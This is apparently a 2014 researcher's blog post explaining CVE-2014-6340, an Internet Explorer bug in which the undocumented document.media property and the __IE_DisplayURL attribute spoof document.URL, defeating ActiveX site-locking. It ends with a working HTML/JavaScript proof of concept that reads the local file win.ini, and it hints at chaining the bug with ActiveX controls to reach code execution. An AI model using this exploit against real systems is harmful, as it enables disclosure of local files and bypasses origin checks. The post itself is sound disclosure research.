Tuesday 11 November 2014

When's document.URL not document.URL? (CVE-2014-6340)

I don't tend to go after cross-origin bugs in web browsers, after all XSS* is typically far easier to find (*disclaimer*  I don't go after XSS either), but sometimes they're fun. Internet Explorer is a special case, most web browsers don't make much of a distinction between origins for security purpose but IE does. Its zone mechanisms can make cross-origin bugs interesting, especially when it interacts with ActiveX plugins. The origin *ahem* of CVE-2014-6340 came from some research into a site-locking ActiveX plugin. I decided to see if I could find a generic way of bypassing the site-lock and found a bug in IE which has existed since at least IE6.

Let's start with how an ActiveX control will typically site-lock, as in only allow the control to be interacted with if hosted on a page from a particular domain. When an ActiveX control is instantiated it's passed a "Site" object which represents the container of the ActiveX control. This might be through implementing IObjectWithSite::SetSite or IOleObject::SetClientSite. When passed the site object the well know way of getting the hosting page's URL is to call IHTMLDocument2::get_URL method with code similar to the following:
IOleClientSite* pOleClientSite;
IOleContainer* pContainer;

pOleClientSite->GetContainer(&pContainer);

IHTMLDocument2* pHtmlDoc;

pContainer->QueryInterface(IID_PPV_ARGS(&pHtmlDoc));

BSTR bstrURL;

pHtmlDoc->get_URL(&bstrURL);

// We now have the hosting URL.

Anything which is based on the published Microsoft site-locking template code does something similar. So we can conclude that for a site-locking ActiveX control the document.URL property is important. Even though this is a DOM property it's at the native code level so you can't use Javascript to override it. So I guess we need to dig into MSHTML to find out where the URL value comes from. Bringing up the function in IDA led me to the following:



One of the first things IHTMLDocument2::get_URL calls is CMarkup::GetMarkupPrintUri. But what's most interesting was if this returned successfully it exited the function with a successful return code. Of course if you look at the code flow it only enters that block of code if the markup document object returned from CDocument::Markup has bit 1 set at byte offset 0x31. So where does that get set? Well annoyingly 0x31 is hardly a rare number so doing an immediate search in IDA was a pain, still eventually I found where you could set it, it was in the IHTMLDocument4::put_media function:


Still clearly that function must be documented? Nope, not a bit of it:



Well I could go on but I'll cut the story short for sanity's sake. What the media property does is set whether the document's currently a HTML document or a Print template. It turns out this is an old property which probably should never be used, but is one of those things which's kept around for legacy purposes. As long as you convert the current document to a print template using the OLECMDID_SETPRINTTEMPLATE command to ExecWB on the web browser this code path will execute. 

The final step is working out how you influence the URL property. After a bit of digging you'll find the following code in CMarkup::FindMarkupPrintUri



Hmm well it seems to be reading the attribute __IE_DisplayURL from the top element of the document and retuning that as the URL. Okay let's try that, using something like XMLHttpRequest to see if we can read local files. For example:

<html __IE_DisplayURL="file:///c:/">
<body>
<h1>
PoC for IE_DisplayURL Issue</h1>
<object border="1" classid="clsid:8856f961-340a-11d0-a96b-00c04fd705a2" id="obj">NO OBJECT</object>
<script>
try {
 // Set document to a print template
 var wb = document.getElementById("obj").object;
 wb.ExecWB(51, 0, true);

 // Enable print media mode
 document.media = "print";

 // Read a local file
 var x = new ActiveXObject("msxml2.xmlhttp");
 x.open("GET", "file:///c:/windows/win.ini", false);
 x.send();
 alert(x.responseText);

 // Disable again to get scripting back (not really necessary)
 document.media = "screen";

} catch(e) {
 alert(e.message);
}
</script>
</body>
</html>
This example only work when running in the Intranet Zone because it requires the ability to script the web browser. Can it be done from Internet Zone? Probably ;-) In the end Microsoft classed this as an Information Disclosure, but is it? Well probably in a default installation of Windows. But mix in third-party ActiveX controls you have yourself the potential for RCE. Perhaps sit back with a cup of *Coffee* and think about what ActiveX controls might be interesting to play with ;-)